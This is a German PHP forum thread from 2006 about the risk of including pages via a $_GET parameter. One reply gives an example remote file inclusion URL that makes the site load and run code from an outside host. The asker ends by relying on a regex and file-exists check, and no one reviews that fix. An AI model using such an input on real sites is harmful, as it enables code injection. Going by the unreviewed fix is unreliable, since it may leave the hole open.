php.de

Zurück   php.de > Webentwicklung > PHP Einsteiger > PHP Tipps 2006

 
 
LinkBack Themen-Optionen Thema bewerten
Alt 14.08.2006, 15:26  
Benutzer
 
Registriert seit: 27.04.2004
Beiträge: 50
guenterfrosch
Standard Sicherheitslücke

Hallo

Stellt es eine Sicherheitslücker dar, PHP-Dateien mit $_GET in Design zu includen? Also z.B. index.php?page=login.php


Ich habe einmal ein Artikel darüber gelesen, find diesen aber nicht mehr.

Ich bin auf der Suche nach Alternativen.


Danke
guenterfrosch ist offline  
Sponsor Mitteilung
PHP Code Flüsterer

Registriert seit: 21.08.2005
Beiträge: 4682
PHP-Kenntnisse:
Fortgeschritten

Alt 14.08.2006, 15:32  
Erfahrener Benutzer
 
Registriert seit: 10.09.2004
Beiträge: 339
mkl0815
Standard

ja ist es.

da z.B. auch "index.php?page='http://meine.domain.de/boesercode.php'" funktioniert.
dieser code würde von deinem index.php eingebunden und ausgeführt werden.
somit kann man sehr einfach code eingeschleust werden.
__________________
Problems with Windows : REBOOT
Problems with Linux : BE ROOT
mkl0815 ist offline  
Alt 14.08.2006, 15:35  
Benutzer
 
Registriert seit: 27.04.2004
Beiträge: 50
guenterfrosch
Standard

Welche Alternativen gibt es ohne eine Liste der zugelassenen Seiten erstellen zu müssen?
guenterfrosch ist offline  
Alt 14.08.2006, 15:36  
Erfahrener Benutzer
 
Registriert seit: 21.05.2008
Beiträge: 2.150
Guradia befindet sich auf einem aufstrebenden Ast
Standard

- Formate prüfen
- Protokolle ausschließen
- auf existenz prüfen
- etc. etc. ...
Guradia ist offline  
Alt 14.08.2006, 15:39  
Benutzer
 
Registriert seit: 27.04.2004
Beiträge: 50
guenterfrosch
Standard

Zitat:
Zitat von Guradia
- Formate prüfen
- Protokolle ausschließen
- auf existenz prüfen
- etc. etc. ...
Ich werde die angegebene Seite auf existenz prüfen.
Hätte ich auch selber drauf kommen können...
guenterfrosch ist offline  
Alt 14.08.2006, 15:52  
Erfahrener Benutzer
 
Registriert seit: 10.09.2004
Beiträge: 339
mkl0815
Standard

hmm wie wäre es mit einer indirekten lösung?
Datei "config.php":
PHP-Code:
<?
$pagelist
[1] = "main.php";
$pagelist[2] = "login.php";
$pagelist[3] = "content.php";
$pagelist[4] = "feedback.php";
?>
Links sehen dann so aus:
"index.php?page=1"

Den Parameter $page kannst Du sehr einfach überprüfen (kann nur Zahl sein) und dann ein
PHP-Code:
include($pagelist[$_GET[page]]); 
machen. Vorher natürlich ein
PHP-Code:
include("config.php"); 
mario.
mkl0815 ist offline  
Alt 14.08.2006, 15:58  
Benutzer
 
Registriert seit: 27.04.2004
Beiträge: 50
guenterfrosch
Standard

Zitat:
Zitat von mkl0815
hmm wie wäre es mit einer indirekten lösung?
Datei "config.php":
PHP-Code:
<?
$pagelist
[1] = "main.php";
$pagelist[2] = "login.php";
$pagelist[3] = "content.php";
$pagelist[4] = "feedback.php";
?>
Links sehen dann so aus:
"index.php?page=1"

Den Parameter $page kannst Du sehr einfach überprüfen (kann nur Zahl sein) und dann ein
PHP-Code:
include($pagelist[$_GET[page]]); 
machen. Vorher natürlich ein
PHP-Code:
include("config.php"); 
mario.
Leider ist mir diese Lösung zu aufwändig...
Ich überprüfe jetzt die GET-Variable mit einem Reuglären-Ausdruck. Falls die Variable passt, überprüfe ich noch die existenz dieser Datei. Ich denke diese Schutz sollte reichen...

Vielen Dank für eure Hilfe
guenterfrosch ist offline  
 


Themen-Optionen
Thema bewerten
Thema bewerten:

Forumregeln
Es ist dir nicht erlaubt, neue Themen zu verfassen.
Es ist dir nicht erlaubt, auf Beiträge zu antworten.
Es ist dir nicht erlaubt, Anhänge hochzuladen.
Es ist dir nicht erlaubt, deine Beiträge zu bearbeiten.

BB-Code ist an.
Smileys sind an.
[IMG] Code ist an.
HTML-Code ist aus.
Trackbacks are an
Pingbacks are an
Refbacks are an
Gehe zu

Besucher kamen über folgende Suchanfragen bei Google auf diese Seite
php html tags reuglärer ausdruck

Alle Zeitangaben in WEZ +2. Es ist jetzt 15:22 Uhr.




Powered by vBulletin® Version 3.7.2 (Deutsch)
Copyright ©2000 - 2012, Jelsoft Enterprises Ltd.
Search Engine Optimization by vBSEO 3.2.0
Aprilia-Forum, Aquaristik-Forum, Liebeskummer-Forum, Zierfisch-Forum, Geizkragen-Forum

Creative Commons License
Dieser Inhalt ist unter einer Creative Commons-Lizenz lizenziert.